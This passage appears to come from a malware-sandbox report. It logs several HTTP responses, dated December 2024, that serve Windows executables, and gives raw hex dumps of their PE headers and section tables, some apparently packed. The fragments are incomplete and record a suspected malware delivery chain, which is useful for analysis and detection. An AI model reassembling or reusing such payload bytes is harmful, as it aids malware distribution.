20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 79 74 6e 68 75 6b 00 00 1b 00 00 80 aa 00 00 fe 1a 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 69 64 78 66 67 68 00 10 00 00 00 80 c5 00 00 04 00 00 00 48 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 c5 00 00 22 00 00 00 4c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:43 GMTContent-Type: application/octet-streamContent-Length: 1947648Last-Modified: Sat, 21 Dec 2024 20:51:12 GMTConnection: keep-aliveETag: "67672a40-1db800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 10 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 40 86 00 00 04 00 00 7c a8 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b 80 41 00 6f 00 00 00 00 d0 40 00 a0 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 8f 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 40 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 ae 00 00 00 d0 40 00 00 70 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 41 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 90 41 00 00 02 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 6f 77 76 66 71 75 00 c0 1a 00 00 40 6b 00 00 be 1a 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 72 62 61 78 6c 76 79 00 10 00 00 00 00 86 00 00 06 00 00 00 90 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 86 00 00 22 00 00 00 96 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:16:52 GMTContent-Type: application/octet-streamContent-Length: 1854464Last-Modified: Sat, 21 Dec 2024 21:06:09 GMTConnection: keep-aliveETag: "67672dc1-1c4c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 27 f3 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 75 6b 6f 63 62 78 79 00 d0 19 00 00 80 2f 00 00 c6 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 67 79 6a 65 65 70 69 00 10 00 00 00 50 49 00 00 06 00 00 00 24 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:17:00 GMTContent-Type: application/octet-streamContent-Length: 2871296Last-Modified: Sat, 21 Dec 2024 21:06:20 GMTConnection: keep-aliveETag: "67672dcc-2bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 98 80 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 76 78 79 77 66 79 77 00 30 2a 00 00 c0 24 00 00 2e 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 65 67 75 64 66 6f 66 00 10 00 00 00 f0 4e 00 00 04 00 00 00 aa 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4f 00 00 22 00 00 00 ae 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:17:11 GMTContent-Type: application/octet-streamContent-Length: 966656Last-Modified: Sat, 21 Dec 2024 21:03:48 GMTConnection: keep-aliveETag: "67672d34-ec000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 25 2d 67 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 10 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 83 9a 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 9c 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 01 00 00 40 0d 00 00 56 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 4a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:17:20 GMTContent-Type: application/octet-streamContent-Length: 2752512Last-Modified: Sat, 21 Dec 2024 21:04:23 GMTConnection: keep-aliveETag: "67672d57-2a0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 11 76 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 72 67 68 75 64 79 79 00 80 29 00 00 a0 00 00 00 70 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 63 6f 64 6e 69 72 00 20 00 00 00 20 2a 00 00 06 00 00 00 d8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 de 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Dec 2024 21:17:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:17:31 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 